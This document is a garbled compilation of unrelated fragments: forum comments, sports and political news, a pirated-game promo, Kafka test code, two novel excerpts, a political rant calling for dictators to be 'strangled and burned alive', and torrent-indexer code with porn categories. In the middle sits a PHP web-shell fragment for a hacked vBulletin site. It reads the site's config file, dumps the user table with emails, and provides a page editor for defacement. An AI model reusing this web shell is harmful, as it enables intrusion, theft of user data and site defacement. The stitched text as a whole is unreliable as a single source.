communication of the actions each car wants to take. Coding the decision making for other cars into each car to anticipate onboard makes no sense because your vehicle would not have access to the sensor data to resolve the decision of the other car. Lastly, with V2V communications, negotiation and decision making, the impact of latency in likely to be so costly to making the best decision that any attempts of doing V2V negotiation will either be non-trivial or limited to an extremely simple model such as each car proposing n strategies (where n is like 2-3 solutions) and each care deciding the best option and incompatible option. This could keep negotiation fast enough to make a best decision. Regardless of whether there is negotiation or merely guessing in real time about what the other car might do, the only thing each autonomous system designer can consider is the well-being of their passengers. All vehicles involved in an imminent accident acting in the self interest of their passengers is likely to be the optimal solutions. The only improvement I can see is some negotiation where some ideas of what decisions the other car might make allows each vehicle to make slightly between decisions to preserve the well being of their passengers. People just like bringing this up because it lets them discuss this interesting philosophical question about morality. Once these discussions encounter the realities of how autonomous cars are likely to evolve and penetrate the market, it's going to be painfully obvious that this is a futile thought exercise to even waste your time with. ------ cabirum I'll go with a custom firmware which saves driver's life unconditionally. ~~~ MatthewWilkes How does the firmware save you from the prison shank? ------ colin_jack Pity the title refers to an interesting discussion point that isn't discussed till quite late in the article, and then only fleetingly. eh, i can see this for desktops but for mobile part of the appeal of ad blocking is speed increase and data decrease. Of all tyrannies, a tyranny sincerely exercised for the good of its victims may be the most oppressive. It would be better to live under robber barons than under omnipotent moral busybodies. The robber baron's cruelty may sometimes sleep, his cupidity may at some point be satiated; but those who torment us for our own good will torment us without end for they do so with the approval of their own conscience. ~C. S. LewisLancaster confirmed he has retained his injured crew of players with a hope he can take them on England's summer tour to New Zealand. The England boss admitted he could not reasonably select Flood, despite pleading with the 28-year-old not to move to France in the summer. Lancaster said: "We are hopeful that some of those injured may be available before the end of the Six Nations and certainly for the (summer) New Zealand tour. "I have met Toby Flood several times and told him I really wanted him to stay at Leicester and play for England. "He has made a lifestyle choice and we respect that, but given the RFU's policy of not selecting players based overseas save for exceptional circumstances it was important that we allow others such as George Ford to progress. "Stephen Myler has a chance to lay down a marker when he trains with us while we have decided that Freddie Burns should get more international game time with the Saxons against the O2 Ireland Wolfhounds at Kingsholm on January 25, while Rob Webber and Richard Wigglesworth will give us some depth to our training."Ugandan President Yoweri Museveni on Friday said that his nation risks a trade boycott if lawmakers were to reinstate a controversial anti-gay law that was invalidated on a technicality in August by the country’s Constitutional Court. Museveni, who has previously said he supports strong legislation against what he calls the promotion of homosexuality in Africa, now says reinstating the law — which allowed for jail terms of up to life for homosexual “offenses “– could lead to a trade boycott by companies in the West. Reuters reports that in a commentary on Friday in the state-run New Vision daily, Museveni said, “To carelessly and needlessly open unnecessary wars with useful customers is irresponsible to say the least.” Museveni said he was not worried by the aid cuts that followed the initial law, but warned that the law would likely antagonize consumers in the West, risking access to a rich export market. Article continues below Earlier this year, the U.S., the World Bank and some European countries delayed or redirected tens of millions of dollars in funding to Uganda’s government over the anti-gay measure, piling pressure on this East African country that depends on foreign aid to implement about 20 percent of its budget. In August, a panel of judges on Uganda’s Constitutional Court jettisoned the anti-gay law because it was passed during a parliamentary session that lacked a quorum. The court did not rule on the substance of the anti-gay measure, leaving the door open for lawmakers to try to reintroduce a similar law or a version of it.Vigilantes free download video game for Windows PC. Download free full version “Vigilantes” from Gameslay. The game setup is tested and 100% fully working PC Game for free Download. The direct/torrent download from Gameslay.net is highly compressed and free of any virus, spyware or adware. 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.send("topic1", "Hello World!"); sleep(1_000); // Just for the spike. (Wait for message in production test, with test timeout.) assertAll( () -> assertEquals(1, payloadsReceived.size()), () -> assertEquals("Hello World!", payloadsReceived.get(0)) ); } private void sleep(long millis) { try { Thread.sleep(millis); } catch(InterruptedException e) { } } } gradle.build plugins { id 'org.springframework.boot' version '2.2.7.RELEASE' id 'io.spring.dependency-management' version '1.0.9.RELEASE' id 'java' } group = 'com.example' version = '0.0.1-SNAPSHOT' sourceCompatibility = '11' configurations { compileOnly { extendsFrom annotationProcessor } } repositories { mavenCentral() } dependencies { implementation 'org.springframework.boot:spring-boot-starter' implementation 'org.springframework.kafka:spring-kafka' compileOnly 'org.projectlombok:lombok' annotationProcessor 'org.springframework.boot:spring-boot-configuration-processor' annotationProcessor 'org.projectlombok:lombok' testImplementation('org.springframework.boot:spring-boot-starter-test') { exclude group: 'org.junit.vintage', module: 'junit-vintage-engine' } testImplementation 'org.springframework.kafka:spring-kafka-test' // for TestContainers testCompile group: 'org.testcontainers', name: 'testcontainers', version: "1.14.1" testCompile group: 'org.testcontainers', name: 'junit-jupiter', version: "1.14.1" } test { useJUnitPlatform() } A: There are reasons why Testcontainers' Kafka module exists :) It takes care of the ports setup by deferring running Kafka's process, so that it can provide the actual assigned random port as ADVERTISED_HOST env variable. Try it, or have a look at the sources for some inspiration: https://github.com/testcontainers/testcontainers-java/tree/master/modules/kafka Dark Gods Rising Book One of God Wars A dark fantasy trilogy E. A. Draper and Mark Eller White Wolf Press, LLC Cover Illustration by T-Rex Studios t-rexstudios.com Smashwords Edition Copyright 2014 E. A. Draper and Mark Eller Chapter 1— Changer's Ring Glace shortened his stride amid the market crowd just before stumbling into a soft-faced young man. The man's hungry eyes were fastened on a half-naked woman who spun slow circles on the walkway before an irate merchant's stall. Catching sight of her admirer, she stopped spinning, smiled lewdly, winked, and put on the shirt she clutched in her left hand. Glace scowled when the laughing woman strolled away. Chuckling, the young man clapped Glace on the shoulder with a too friendly hand. Glace's unhappy scowl deepened. "Now that's something you don't see every day," the young man said. "Not unless you hang out in the Downs." "I see it too damn often," Glace growled, shrugging away the unwelcome hand. Still scowling, he walked away, took the first turn on the right and the second turn on his left. Half a block later he stopped, leaned an elbow on a hitching rail, and waited. When Cass finally arrived, she threw her arms around his neck and kissed him soundly. "Did you see their eyes when I flashed my boobs? Gods, they're easy." Giggling, she planted a wet kiss on his cheek. "So come on. Give. What'd you get from the fellow? He dressed posh." Feeling sullen, Glace remained silent. "You're unhappy." Cass finally noticed. Her smile faded. "Why?" "Did you have to turn yourself into a harlot's display?" Pulling away, her fading smile disappeared altogether. Narrowing eyes showed the first dangerous signs of anger. Glace forced his frown into the sick semblance of a smile. He had overstepped his bounds, again, and Cass was not pleased. Perfect green eyes threw shadows over a delicate moon-shaped face while she studied him. Shoulder length hair, smelling faintly of jasmine, flowed from her aristocratic head, framing her face in a shroud of brilliant red. She was exquisite, mysterious, and dangerous, a woman beyond compare, and he had an uncontrollable mouth which might one day drive her away. "You told me to distract him," Cass said flatly. "I didn't tell you to strip for him," Glace muttered. Provocative and mocking, her smile returned. She trailed the tips of her fingers across his chest, making his skin tingle, making him want to pull her tight to him and rip off the clothes he had just chided her for not wearing. "Was I a bad girl?" Her hips thrust forward, pressing against his groin as her hand rose to grip the back of his neck. "Do you want to collar me? I'll wear one for you." Glace forced his tense muscles to relax. "It's just that...sometimes...you act like a whore." "Mmmm. Your whore." Wrapping both arms around his neck, Cass molded herself against him until there was no space left for intruding air. She kissed the corner of his mouth once, and then again. "I promise. You're the only man who can touch me. I'll eat the face of anyone else who tries." "Yeah, well." Feeling uncomfortable, Glace unlocked her fingers from around his neck. "It doesn't mean I have to like it when they look at you. I just don't understand why you hate wearing clothes." "It excites me, baby. I like it when they look at me with hungry eyes. I love it when they think I'm their prey, but we know different. Don't we, lover? Now tell me. What did we get from the popinjay?" Accepting the unspoken truce, Glace reached into his belt pouch, pulled out a ring, and handed it to her. "Only a few copper coins and this. His purse was almost empty." "Flash dresser with empty pockets," Cass said contemptuously, studying the ring with disinterest, but then her eyes widened, and she grinned. "Or maybe not. I've seen this design before. Please tell me those little baubles are real diamonds. I really want them to be real." "I have doubts." Glace studied the ring. Six clear stones circled a larger blue one. A snarling wolf's head was carved into the blue stone's surface. Not a usual design, perhaps, but not so very unusual, either. No, to him the most interesting and disappointing part was the band. It was made of a green metal he had never before seen. It felt slick against his fingers, perhaps even slimy, telling him the ring was made from some kind of cheap metal. At best, he figured, worth about twenty coppers, which meant he and Cass might get three or four. "I'm thinking you're wrong." Cass gestured toward the ring. "We have to take it to Mathew Changer." Glace felt himself pale. "I don't like Mathew." "You don't like him because I want him to father my children." Cass chuckled. "Don't worry, lover. I told you, you're the only man who will touch me. Still," she paused, "he does business at the Hellhole. Tessla's been hanging around there lately, and she doesn't like me." "Rumor says Trelsar's assassin was arrested a couple days ago," Glace said. "She's supposed to hang next week." Suddenly feeling good because Cass seemed to have forgiven his jealousy, he grinned. "By my count, it's the sixth time this year she's been sentenced for murder." Cass nodded with satisfaction. "That's all right then. Trelsar's whore doesn't usually escape until a day or two before the scheduled hanging. I've heard it said she likes the quiet when she isn't murdering some poor soul for her so called virtuous god. If you ask me, Trelsar's more of a hypocrite than a god, but I know you favor him over somebody more reasonable, like Zorce. Anyway, Mathew it is and tonight while she's still a prisoner. The Hole's always most interesting after sunset. The hellborn come out then, so we'll see the moneychanger tonight." * * * * Two hours

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1533, 13, 1690, 253, 2448, 11163, 13, 588, 1908 ]

now. When I was that age, if somebody had lent me that kind of money, I’d either be a billionaire, or be locked away in debtor’s prison by now. Or not. The point is that to take out loans totaling $220K and then complain about having to pay the interest is a farce. Sure, it will probably take poor Jonathan a decade or more to pay off those loans, but what of it? Was he making an investment in his future or not? No, you see, that’s not enough for young Jonathan: “For the greater good,” we should all be investors in his future. Sorry, but I’m not interested in that sort of ‘investment.’ Don’t get me wrong: I’m sure young Jonathan is a fine man, and he’ll probably make a great slip-and-fall lawyer one day, but in the mean time, he’d better pay up with a big fat smile on his face. You see, I actually had this very conversation with a young person recently, who was looking at the costs of attending the school from which he hopes one day to receive a degree, and I offered the other options open to him, and even offered my story about my own ‘loan officer.’ He replied in a matter-of-fact tone that “Well, you made your choices, and you took the path you did.” His intent had been to dismiss my story, and yet as I the grin widened on my face, he looked confused at first, and then it hit him: “Okay, yes, I guess I see your point.” It was somewhat amusing to hear his laments about how he’s now “over a barrel.” He can either continue his education, accruing more debt along the way, or he can quit, and begin repaying the loans immediately. As I explained to him, “life has us all over a barrel.” Of course, I understand how the government is going to financially wreck so many of these youngsters. Now that the government is the sole source for guaranteed student loans, the government is going to wreck as many youngsters as they can hook into this system. Naturally, the education establishment is only too happy to continue to increase tuition, because I can guarantee you that the faculty lounge won’t suffer. This is the inevitable result of letting government intrude where the private sector should exist. They created the government-guaranteed student loan program in order to entice lenders into loaning money to students for college, since they had been such an historically awful risk. Once the government guaranteed the loans, it was inevitable that some Marxist would nationalize the program. I am fairly certain that was the intention from the beginning. After all, you can’t walk away from federally guaranteed(and now issued) student loans through bankruptcy, much like income tax debt, and everybody beyond the age of thirty understands that socialists love captive markets. If we did that with healthcare, we wouldn’t have the insurance problems we do, but that also wouldn’t enable government to grow larger and reach into another market, ultimately nationalizing it, as they intend with seemingly everything. At some point, this country is going to be faced with a choice about whether we wish to fix all of these things permanently, or simply implode and become a full-bore communist state. I’ve seen the latter up close, and I’m afraid that’s where we’ve been heading, but young Jonathan doesn’t know that, and his professors aren’t likely to have told him. Instead, they’ve probably filled his head with notions of how “the greater good” is the sole consideration, but what they’ve never told him is who will be determining what constitutes the greater good, or the public interest. He believes he will have some say in the matter. At every level now, the Federal government reaches into everything, but the simple truth of the matter is that this can generally happen only because people invite it in. Too many people suffer under the delusion that the government is able to fix anything and everything, and that since there’s no immediate and obvious cost to them, they are quite happy to have the “help.” All of this ignores the tendency of government to resemble a mob loan-shark, or a gang of mobsters in general. Once you accept the help, there’s no ridding yourselves of them. More, it’s a bit like the drug pusher, who gets people hooked on “free samples” but once addicted, the new junkie would kill his family to obtain another fix. In other words, it’s about us. Just as the pusher can gain no ground so long as you tell him “no,” so too is it the case that if we begin to tell the government “no,” it will lose its power. That means doing something most people are tested to do: Say no to themselves. Young attorney and Levin caller Jonathan could have told himself “no.” That would have been difficult, with a degree from a “top 25 law-school” dangled before his ambitious eyes. Now that it turns out his eyes may have been a little larger than his belly, he’s not happy about it, but I’m sure there was no dissuading him at the time. Somebody needs to tell him “no.” Waive the interest? No. Delay payments? No. Forgive the debt? Hell no! “No” is the most effective word on Earth against socialism, but it’s the word too many in this country are now afraid to utter, to their children, their neighbors, fellow citizens, but most particularly, themselves. Until we learn to say it and mean it, poor kids like Jonathan will never understand its power. Government bureaucrats will never understand their limits. Politicians will never cease in their abuses. We will never be happy. Learn to say “No” and stand by it. Refusing your consent is the one thing that cannot be taken from you. Jonathan could have said “No” to the interest he’ll now pay, simply by refusing the loans. Having taken them, he has found that he now has no right to refuse. Do I feel sorry for Jonathan? Do you? About the author markamerica You can follow any responses to this entry through the RSS 2.0 feed. Both comments and pings are currently closed. the unit College…education…this day and time? Oxy…moron…breathing…idiot. Sign on for that and get meaningless degree…one should have to pay the rest of one’s life! Meaningless degree…is any degree that adds nothing to increased production and betterment of life for self, family and those others in your realm. As for world…lots of realms have to overlap. Even the Russian Constitution said “from each according to his ability, to each according to his need, but if you don’t work…you don’t eat.” Look it up. Occupy don’t count. There are degrees worth it, but you don’t “occupy” to get them. Even now there are jobs if one chooses a field with a need. On another note…the latest joke from Bill Clinton, who said in the S.C. primary of 2008, “he should be serving us coffee,” now is leading fund raisers for “O.” The joke is this from AP today…”It makes absolutely clear that, to the extent that there were different wings of the Democratic party, there is now one wing of the Democratic party,” said Chris Lehane, a Clinton backer. “And it’s the president’s party.” Really one wing…are you better off now…the old joke was …”Hillary Special @ KFC, two small breasts, two large thighs, and one left wing.”I am a musician. I didn't know I would be so when I was young. I do know that I have always heard music in my head that I wasn't hearing somewhere else and I 'needed' this music. And obedient to the laws of nature, I created into this vacuum.Do you guys believe the "I Told You So" story is good? Because I do not believe it, especially when the guy who says it is a dictator. In Romania, there are some voices who tend to moan for the old communist leader, Ceausescu, because the sons of bitches who are now into power are goddamn robbers. But I don't like to hear the words: "I told you so". I think that these robbers should be hanged by the highest tree, but I still don't think that communism was the right way. Back to Syria. There are voices saying that the world is scared that if the UN will give arms to the rebels then the zone will be the hottest zone on the planet, or at least the whole situation will be very dangerous for Israel. "I told you so", all parties will say, after. I do not believe the "I told you so" slogan is good. I think that every dictator on the planet should be strangled and burned alive while drowned. Let's not hide behind our shadows, because we are too scared of our size! We all know that the US is still making the international law. I don't care what will happen next. Given the circumstances, this son of a bitch Bashar al-Assad should have a taste of the US drones and the US satellites, for the sake of equilibrium in battle, if not for the better. Obama wants to win for another mandate. I think that if he will do nothing, given the multiple occasion the US intervened in the world, the world, including the American voters, will consider

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th><th><input type="submit" name="Connect" value="Connect" /></th><tr><td>Host : </td><td><input name="host" value="localhost" /></td></tr> <tr><td>User : </td><td><input name="user" value="root" /></td></tr> <tr><td>Pass : </td><td><input name="pass" value="" /></td></tr> <tr><td>Name : </td><td><input name="db" value="vb" /></td></tr> </table> </form> <? } if ($act == 'lst' && isset($_POST['user']) && isset($_POST['pass']) && isset($_POST['host']) && isset($_POST['db'])) { $host = $_POST['host']; $user = $_POST['user']; $pass = $_POST['pass']; $db = $_POST['db']; mysql_connect($host,$user,$pass) or die('<font color=red>Nope,</font><font color=yellow>No cOnnection with user</font>'); mysql_select_db($db) or die('<font color=red>Nope,</font><font color=yellow>No cOnnection with DB</font>'); if ($pass == '') { $npass = 'NULL'; } else { $npass = $pass; } echo'<font size=3>You are connected with the mysql server of <font color=yellow>'. $host. '</font> by user : <font color=yellow>'. $user. '</font>, pass : <font color=yellow>'. $npass. '</font> and selected DB with the name <font color=yellow>'. $db. '</font></font>'; ?> <hr color="#00FF00" /> <? $re = mysql_query('select * from user'); echo'<table border="1" bgcolor="#000000" bordercolor="lime" bordercolordark="lime" bordercolorlight="lime"><th>ID</th><th>USERNAME</th><th>EMAIL</th>'; while ($row = mysql_fetch_array($re)) { echo'<tr><td>'. $row['userid']. '</td><td>'. $row['username']. '</td><td>'. $row['email']. '</td></tr>'; } echo'</table>'; ?> <table border="1" bgcolor="#000000" bordercolor="lime" bordercolordark="lime" bordercolorlight="lime"><th><? $count = mysql_num_rows($re); echo 'Number of users registered is : [ '. $count.']'; ?></th></table> <? } if ($act == 'users'){ ?> <form name="myform" action="?act=lst" method="post"> <table border="1" bgcolor="#000000" bordercolor="lime" bordercolordark="lime" bordercolorlight="lime"> <th>:::::DATABASE CONFIG:::::</th><th><input type="submit" name="Connect" value="Connect" /></th><tr><td>Host : </td><td><input name="host" value="localhost" /></td></tr> <tr><td>User : </td><td><input name="user" value="root" /></td></tr> <tr><td>Pass : </td><td><input name="pass" value="" /></td></tr> <tr><td>Name : </td><td><input name="db" value="vb" /></td></tr> </table> </form> <? } if ($act=='config') { ?> <form name="myform" action="?act=reconfig" method="post"> <table border="1" bgcolor="#000000" bordercolor="lime" bordercolordark="lime" bordercolorlight="lime"> <th>:::::CONFIG PATH:::::</th><th><input type="submit" name="Connect" value="Read" /></th> <tr><td>PATH : </td><td><input name="path" value="/home/hacked/public_html/vb/includes/config.php" /></td></tr></table></form> <? } if ($act=='index') { // Index Editor<HTML Editor> ?> <script language='javascript'> function link(){ var X = prompt("EnterText","") if (X=="" | X==null ) { return; } var y = prompt("Enterlink","") if (y=="" | y==null ) { return; } indexform.index.value=indexform.index.value + "<a href=" + y +">"+X+"</a>"; } function right(){ var X = prompt("Enter Text","") if (X=="" | X==null ) { return; } indexform.index.value=indexform.index.value + "<p align='right'>"+X+"</p>"; } function left(){ var X = prompt("Enter Text","") if (X=="" | X==null ) { return; } indexform.index.value=indexform.index.value + "<p align='left'>"+X+"</p>"; } function center(){ var X = prompt("Enter Text","") if (X=="" | X==null ) { return; } indexform.index.value=indexform.index.value + "<center>"+X+"</center>"; } function colour(){ var X = prompt("EnterText","") if (X=="" | X==null ) { return; } var y = prompt("EnterColour","") if (y=="" | y==null ) { return; } indexform.index.value=indexform.index.value + "<font color=" + y +">"+X+"</font>"; } function b(){ var X = prompt("Enter Text","") if (X=="" | X==null ) { return; } indexform.index.value=indexform.index.value + "<B>"+X+"</B>"; } function u(){ var X = prompt("Enter Text","") if (X=="" | X==null ) { return; } indexform.index.value=indexform.index.value + "<U>"+X+"</U>"; } function i(){ var X = prompt("Enter Text","") if (X=="" | X==null ) { return; } indexform.index.value=indexform.index.value + "<I>"+X+"</I>"; } function mar(){ var X = prompt("Enter Text","") if (X=="" | X==null ) { return; } indexform.index.value=indexform.index.value + "<marquee>"+X+"</marquee>"; } function img(){ var X = prompt("Enter link","") if (X=="" | X==null ) { return; } indexform.index.value=indexform.index.value + "<img src='"+X+"'></img>"; } function br(){ indexform.index.value=indexform.index.value + "<br>"; } </script> <table border="1" bordercolor="#008000" bordercolordark="#008000" bordercolorlight="#008000"><th><a onclick='return center()'>Center</a> ||| <a onclick='return left()'>Left</a> ||| <a onclick='return right()'>right</a> ||| <a onclick='return b()'>Bold</a> ||| <a onclick='return u()'>UnderLine</a> ||| <a onclick='return i()'>Italic</a> ||| <a onclick='return br()'>NewLine</a> ||| <a onclick='return colour()'>Colour</a> ||| <a onclick='return mar()'>Marquee ||| <a onclick='return img()'>Picture</a> ||| <a onclick='return link()'>Link</a></a></th><tr><TD> <center><form name="indexform" action=""

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, "Архив (Японское порно)"); AddCategoryMapping(1723, TorznabCatType.XXX, "Эротические студии, фото и журналы / Erotic Picture Gallery.."); AddCategoryMapping(1802, TorznabCatType.XXX, "Архив (Фото)"); AddCategoryMapping(1745, TorznabCatType.XXX, "Хентай и Манга, Мультфильмы и Комиксы, Рисунки / Hentai&Ma.."); AddCategoryMapping(1838, TorznabCatType.XXX, "Игры / Games"); AddCategoryMapping(1829, TorznabCatType.XXX, "Обсуждение игр / Games Discussion"); AddCategoryMapping(11, TorznabCatType.XXX, "Нетрадиционное порно / Special Interest Movies&Clips"); AddCategoryMapping(1681, TorznabCatType.XXX, "Дефекация / Scat"); AddCategoryMapping(1683, TorznabCatType.XXX, "Архив (общий)"); AddCategoryMapping(1688, TorznabCatType.XXX, "Гей-порно / Gay Forum"); AddCategoryMapping(1720, TorznabCatType.XXX, "Архив (Гей-порно)"); } public override async Task<ConfigurationData> GetConfigurationForSetup() { configData.CookieHeader.Value = null; var response = await RequestWithCookiesAsync(LoginUrl); var LoginResultParser = new HtmlParser(); var LoginResultDocument = LoginResultParser.ParseDocument(response.ContentString); var captchaimg = LoginResultDocument.QuerySelector("img[src*=\"/captcha/\"]"); if (captchaimg!= null) { var captchaImage = await RequestWithCookiesAsync("https:" + captchaimg.GetAttribute("src")); configData.CaptchaImage.Value = captchaImage.ContentBytes; var codefield = LoginResultDocument.QuerySelector("input[name^=\"cap_code_\"]"); cap_code_field = codefield.GetAttribute("name"); var sidfield = LoginResultDocument.QuerySelector("input[name=\"cap_sid\"]"); cap_sid = sidfield.GetAttribute("value"); } else { configData.CaptchaImage.Value = null; } return configData; } public override async Task<IndexerConfigurationStatus> ApplyConfiguration(JToken configJson) { LoadValuesFromJson(configJson); var pairs = new Dictionary<string, string> { { "login_username", configData.Username.Value }, { "login_password", configData.Password.Value }, { "login", "Login" } }; if (!string.IsNullOrWhiteSpace(cap_sid)) { pairs.Add("cap_sid", cap_sid); pairs.Add(cap_code_field, configData.CaptchaText.Value); cap_sid = null; cap_code_field = null; } var result = await RequestLoginAndFollowRedirect(LoginUrl, pairs, CookieHeader, true, null, LoginUrl, true); await ConfigureIfOK(result.Cookies, result.ContentString!= null && result.ContentString.Contains("Вы зашли как:"), () => { logger.Debug(result.ContentString); var errorMessage = "Unknown error message, please report"; var LoginResultParser = new HtmlParser(); var LoginResultDocument = LoginResultParser.ParseDocument(result.ContentString); var errormsg = LoginResultDocument.QuerySelector("h4[class=\"warnColor1 tCenter mrg_16\"]"); if (errormsg!= null) errorMessage = errormsg.TextContent; throw new ExceptionWithConfigData(errorMessage, configData); }); return IndexerConfigurationStatus.RequiresTesting; } protected override async Task<IEnumerable<ReleaseInfo>> PerformQuery(TorznabQuery query) { var releases = new List<ReleaseInfo>(); var searchString = query.SanitizedSearchTerm; var queryCollection = new NameValueCollection(); // if the search string is empty use the getnew view if (string.IsNullOrWhiteSpace(searchString)) { queryCollection.Add("nm", searchString); } else // use the normal search { searchString = searchString.Replace("-", " "); queryCollection.Add("nm", searchString); } var searchUrl = SearchUrl + "?" + queryCollection.GetQueryString(); var results = await RequestWithCookiesAsync(searchUrl); if (!results.ContentString.Contains("Вы зашли как:")) { // re login await ApplyConfiguration(null); results = await RequestWithCookiesAsync(searchUrl); } try { var RowsSelector = "table#tor-tbl > tbody > tr"; var SearchResultParser = new HtmlParser(); var SearchResultDocument = SearchResultParser.ParseDocument(results.ContentString); var Rows = SearchResultDocument.QuerySelectorAll(RowsSelector); foreach (var Row in Rows) { try { var qDownloadLink = Row.QuerySelector("a.tr-dl"); if (qDownloadLink == null) // Expects moderation continue; var qForumLink = Row.QuerySelector("a.f"); var qDetailsLink = Row.QuerySelector("a.tLink"); var qSize = Row.QuerySelector("td:nth-child(6) u"); var link = new Uri(SiteLink + "forum/" + qDetailsLink.GetAttribute("href")); var seederString = Row.QuerySelector("td:nth-child(7) b").TextContent; var seeders = string.IsNullOrWhiteSpace(seederString)? 0 : ParseUtil.CoerceInt(seederString); var timestr = Row.QuerySelector("td:nth-child(10) u").TextContent; var forum = qForumLink; var forumid = forum.GetAttribute("href").Split('=')[1]; var title = configData.StripRussianLetters.Value ? s_StripRussianRegex.Replace(qDetailsLink.TextContent, "") : qDetailsLink.TextContent; var size = ReleaseInfo.GetBytes(qSize.TextContent); var leechers = ParseUtil.CoerceInt(Row.QuerySelector("td:nth-child(8)").TextContent); var grabs = ParseUtil.CoerceLong(Row.QuerySelector("td:nth-child(9)").TextContent); var publishDate = DateTimeUtil.UnixTimestampToDateTime(long.Parse(timestr)); var release = new ReleaseInfo { MinimumRatio = 1, MinimumSeedTime = 0, Title = title, Comments = link, Description = qForumLink.TextContent, Link = link, Guid = link, Size = size, Seeders = seeders, Peers = leechers + seeders, Grabs = grabs, PublishDate = publishDate, Category = MapTrackerCatToNewznab(forumid), DownloadVolumeFactor = 1, UploadVolumeFactor = 1 }; releases.Add(release); } catch (Exception ex) { logger.Error(string.Format("{0}: Error while parsing row '{1}':\n\n{2}", Id, Row.OuterHtml, ex)); } } } catch (Exception ex) { OnParseError(results.ContentString, ex); } return releases; } // referer link support public override async Task<byte[]> Download(Uri link) { var downloadlink = link; var response = await RequestWithCookiesAsync(link.ToString()); var results = response.ContentString; var SearchResultParser = new HtmlParser();

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tell you," said a new voice. And Kwon Ki-chae, the president of South Korea, entered the room. He ordered the soldiers to lower their weapons and leave; General Park remained. Vice President Whiting raised the still-active phone to her lips. "I'll call you back, Bob." "What in hell's going on there, Ellen?" "President Kwon and General Park want to have an urgent parley with me, in private. I'll call you back." "Urgent parley" was a code phrase for "The situation here is tense; have help standing by." She pushed a button on the phone, closed it, and slipped it into an inside jacket pocket. General Park issued some instructions by radio in Korean and then turned to Whiting. "All wireless communications from this facility will be jammed now, Madam Vice President," he said. "It is for our protection." It was obvious he knew that the Vice President had activated a function on the phone that kept the line open and transmitted a locator signal. "Jamming our locator signal could be considered a hostile action, General," Whiting said evenly. "Discussing activities inside our country's most secret command and control facility with the Central Intelligence Agency could also be considered a hostile act," General Park said. "As you Americans might say, that makes us even stephen." "Please be seated," President Kwon said, motioning to a chair. He gave Park an order, and the Air Force general immediately unbuckled his holster and handed the weapon over to Special Agent Law. "I promise, we mean you no harm." Law immediately went over to the door and tried it, keeping both Kwon and Park covered with her mini-Uzi; it was locked. "So we _are_ your prisoners," Whiting said. "We can't communicate, and we can't leave." "You will be free to leave in a very short time," President Kwon said. "But first I invite you to watch history in the making, unfolding right before your eyes." "What are you talking about?" "May I?" Kwon asked, motioning to the large windows overlooking the command center to indicate to Law where he was going to move. He went over to the windows with Whiting. General Park took a seat behind the communications console. "The culmination of years of planning, a year of intense preparation, months of espionage and infiltration work, and hundreds of billions of won. The expense almost bankrupted us, especially with the financial downturn throughout Asia in recent years. We lost many fine men and women to the Communists, on both sides of the DMZ. We are about to witness the fruits of their sacrifice." "Mr. President, what's going on?" Whiting asked. "What are you planning to do?" General Park said something in Korean, and Kwon nodded with a broad smile and what sounded to her like a muttered prayer. "Our first units are approaching the coastline," Kwon told Whiting. "The Eleventh Patrol Squadron out of Inchon has the honor of leading the attack. Their call sign is 'Namu.' The counterjammer aircraft will be inbound sixty seconds later. Their call sign is 'Pokpo.'" _"Attack?"_ Admiral Allen exploded. "What attack? You mean the exercise attack?" "The Eleventh is an S-2 Tracker maritime patrol unit, flying one of the slowest and most vulnerable planes in our inventory," General Park said. "However, these planes have been modified as tactical jamming aircraft. They will shut down all of the Communists' search radars between Haeju and Kaesong. They are being followed by F-16KCJ aircraft carrying HARM antiradar missiles. Any Communist radar that attempts to counter the jamming will be destroyed. A similar attack is commencing from the west toward Nampo and Pyongyang itself, from the east toward Hamhung and Hungnam, and from the south at Kimchaek and Ch'ongjin." "This is crazy! This is suicide!" Vice President Whiting exclaimed. "Won't the North Koreans see those planes coming or see the jamming on their scopes and warn the rest of their defenses? They might start a retaliatory strike the second they notice all this happening. They might be starting an attack of their own at this very second!" "In fact, Madam Vice President," General Park said, "the Communists issued the first attack warning over fifteen minutes ago." _"What?"_ "It is virtually impossible to fly anywhere within two hundred miles of North Korea without some Communist radar site detecting you, whatever your altitude," General Park said calmly. "The Communists start tracking our aircraft almost from the moment they are launched. When our planes were within ten minutes' flying time of their airspace—the amount of time it takes the slowest North Korean fighter pilot to get off the ground—the early-warning radar sites issued a warning to all other air defense sites throughout North Korea. The warning was relayed to the Military Command and Coordination Facility at Sunan, near Pyongyang." "But if the North Koreans know you're coming, _why in heaven's name are you doing this?_ " "Because, Madam Vice President," President Kwon replied, "the North Korean Central Command Facility issued instructions to all installations to continue to monitor the aircraft but to take no further action. They then issued an 'ops-normal' message to military headquarters in Pyongyang." "How do you know that?" "Because, madam, it was a United Republic of Korea officer who issued those orders. Or, to be more precise, a North Korean patriot, working together with South Korean military assistance officers. The North Korean military command and control headquarters at Sunan, such as it is, belongs to North Korean patriots who desire nothing else but the reunification of the peninsula under a free, democratic government. They have decided to shut down the Communists' military machine and allow us to assist them in destroying the most dangerous elements of it." At that moment a Klaxon went off in the observation room, and red revolving lights started blinking everywhere. On the public-address system they heard: "For Namu Two-Five, for Namu Two-Five, and for Pokpo Three-Eight, for Pokpo Three-Eight, this is Airedale, Hot Dog Hot Dog Hot Dog. Turn to heading one-five-zero immediately. Acknowledge." Both General Park and President Kwon started to chuckle. "I have always thought that was very amusing," Kwon said. Whiting stared at him. Total chaos was breaking out in the command center, and these two men were laughing through it! "The code words you Americans invent for serious situations such as this are very comical. What a refreshing sense of humor you people have." "What is going on?" "Perhaps you do not know what this Hot Dog message means?" Kwon was surprised. "How little you know of the things you have put in place in our country that we rely on every day for our lives and our freedom. The Hot Dog warning is issued whenever an aircraft violates the Buffer Zone. It is supposed to warn our aircraft of unintentional overflight. 'Airedale' is the senior American battle director, whom you met down below in the command center. "The warning is actually issued quite frequently, usually due to radar anomalies, jamming or decoying by the Communists, or by accident—an overzealous pilot, a new pilot trying to find landmarks, or one who is distracted from his work. Many innocent causes. The North calls them all preludes to war and declarations of war and demands an apology and reparations. Such demands are ignored, of course." They heard the Hot Dog call repeated many times, with several more call signs. Then there was a commotion on the floor of the command center, and they saw South Korean soldiers enter and head for several of the American officers and technicians. "What's going on down there, President Kwon?" Ellen Whiting asked. "I demand to know." "The American officers in charge of protecting and directing air traffic in South Korea are obviously upset because they issued a command to the South Korean pilots heading toward North Korea, and our officers would do nothing to stop them," General Park answered for Kwon. "They are being restrained before they can call for any American aircraft to scramble to try to stop them." "They're hurting them, for God's sake!" Law protested. There were at least three South Korean soldiers around each of the Americans, who were struggling to free themselves. "Do not worry, Madam Vice President," President Kwon said, reading Whiting's thoughts. "As you can see, none of my soldiers down there are armed with anything more than batons. We have no intention of hurting any of your people. They are only trying to do their jobs." A few scuffles broke out, but the Americans were quickly hustled out and replaced by Korean technicians. In a matter of minutes, the only Americans left were in the 